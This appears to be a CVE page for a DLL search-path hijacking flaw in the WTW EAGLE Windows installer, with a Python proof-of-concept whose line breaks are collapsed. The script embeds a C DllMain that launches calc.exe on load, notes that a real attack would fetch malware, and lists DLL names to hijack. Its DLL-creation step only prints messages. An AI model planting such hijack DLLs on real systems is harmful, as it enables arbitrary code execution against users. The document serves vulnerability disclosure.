CVE-2025-62776 | WTW EAGLE Windows安装程序DLL搜索路径劫持漏洞

#!/usr/bin/env python3 # CVE-2025-62776 PoC - WTW EAGLE DLL Search Path Hijacking # This PoC demonstrates how to exploit the DLL search path vulnerability import os import ctypes import shutil from pathlib import Path # Malicious DLL payload - executes calc.exe as demonstration MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute arbitrary code with elevated privileges WinExec("calc.exe", SW_SHOWNORMAL); // In real attack: download and execute malware, create backdoor, etc. } return TRUE; } ''' def create_malicious_dll(dll_path, target_dll_name): """Create a malicious DLL that will be loaded instead of the legitimate one""" # In production, compile actual DLL with malicious code # This is a placeholder showing the concept print(f"[*] Malicious DLL would be placed at: {dll_path}") print(f"[*] Target DLL name: {target_dll_name}") print("[*] When WTW EAGLE installer runs, it will load this DLL") return True def check_vulnerability(): """Check if the target system is vulnerable""" print("[*] Checking for WTW EAGLE installation...") # Check common installation paths paths_to_check = [ r"C:\Program Files\WTW\EAGLE", r"C:\Program Files (x86)\WTW\EAGLE", os.path.expanduser(r"~\AppData\Local\WTW\EAGLE") ] for path in paths_to_check: if os.path.exists(path): print(f"[+] Found WTW EAGLE at: {path}") return path print("[-] WTW EAGLE not found on this system") return None def main(): print("=" * 60) print("CVE-2025-62776 - WTW EAGLE DLL Search Path Hijacking PoC") print("=" * 60) # Common DLL names targeted in such attacks target_dlls = [ "version.dll", "winhttp.dll", " cabinet.dll", "setupapi.dll" ] install_path = check_vulnerability() if install_path: for dll in target_dlls: dll_path = os.path.join(install_path, dll) create_malicious_dll(dll_path, dll) print("\n[!] Note: This is for educational purposes only") print("[!] Actual exploitation requires compiling malicious DLL") if __name__ == "__main__": main()